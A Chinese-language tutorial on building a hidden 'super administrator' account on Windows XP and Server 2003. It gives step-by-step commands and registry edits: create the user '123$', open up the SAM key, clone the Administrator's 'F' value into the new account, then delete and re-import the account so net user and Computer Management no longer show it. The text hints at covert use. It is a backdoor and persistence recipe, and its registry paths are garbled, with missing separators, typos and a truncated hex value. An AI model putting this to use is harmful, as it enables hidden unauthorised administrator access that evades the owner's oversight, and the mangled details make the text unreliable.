在 XP 和 Windows Server 2003 中创建具有超级管理权限的隐藏超级用户的方法
如果我们希望建立一个一般情况下看不到的隐藏账户，那么可以这么做。（为什么这么做？如果你需要，你自会懂的）

1、打开命令提示符，先建立 123$ 用户:
c:>net user 123$ 123abc /add
注：用户名为123$，后面加符号$是为了使其在控制台下用 net user命令看不到。

2、运行regedt32.exe（有人会提醒这里要注意不是regedit.exe，但其实在 Windows XP 和 Windows Server 2003 中，Regedt32.exe 只是一个用来运行 Regedit.exe 的小程序<解释来源于微软技术支持中心>），先找到HKEY_LOCAL_MAICHINESAMSAM 点击它 ,然后在菜单”安全”->”权限” 添加自己现在登录的帐户或组，把”权限”->”完全控制”->”允许”打上勾，然后确定。
这样操作后，再按F5刷新一下，就可看到已经可以直接读取本地sam的信息了。

3、打开键 HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernames123$，查看其默认键值为”0x3f1″（注意这里可能显示不同，下面导出项目应于此处对应！），于是相应导出如下键值：
HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernames123$ 导出并命名为123$.reg
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersF1 导出并命名为 3f1.reg
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers
F4 导出并命名为 lf4.reg (Administrators的相应键)

4、用记事本打开lf4.reg 找到如下的”F”的值，比如类似如下：

“F”=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,
00,00,00,00,00,00,00

复制该部分，然后打开3f1.reg，找到”F”的值并替换。

5、打开123$.reg，把里面的内容类似如下面这段复制一下：

[HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames123$]
@=hex(3f1):

6、再次编辑文件3f1.reg，粘贴上面复制的内容到文件最后。生成的文件内容类似如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersF1]
“F”=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,
00,00,00,00,00,00,00
“V”=hex:00,00,00,00,d4,00,00,00,02,00,01,00,d4,00,00,00,1a,00,00,00,00,00,00,

37,f1,02,cf,01,00,01,00,01,00,01,00

[HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames123$]
@=hex(3f1):

7、命令提示符下将123$用户删除：

c:>net user 123$ /delete

8、双击我们已经修改好的3f1.reg文件导入进注册表。
9、最后找到HKEY_LOCAL_MAICHINESAMSAM 点击它 ,然后在菜单”安全”->”权限” 删除刚才添加的帐号（即解除刚赋予其的完全控制权限）

10、注销当前用户,用 123$/123ABC登陆,就会是是最高权限的隐藏账号了。

这样就建立了一个在控制台用 net user 和”计算机管理”中都看不到的帐户123$,。记着第一次就把密码设置好，之后不要改密码，否则隐藏即会失效。
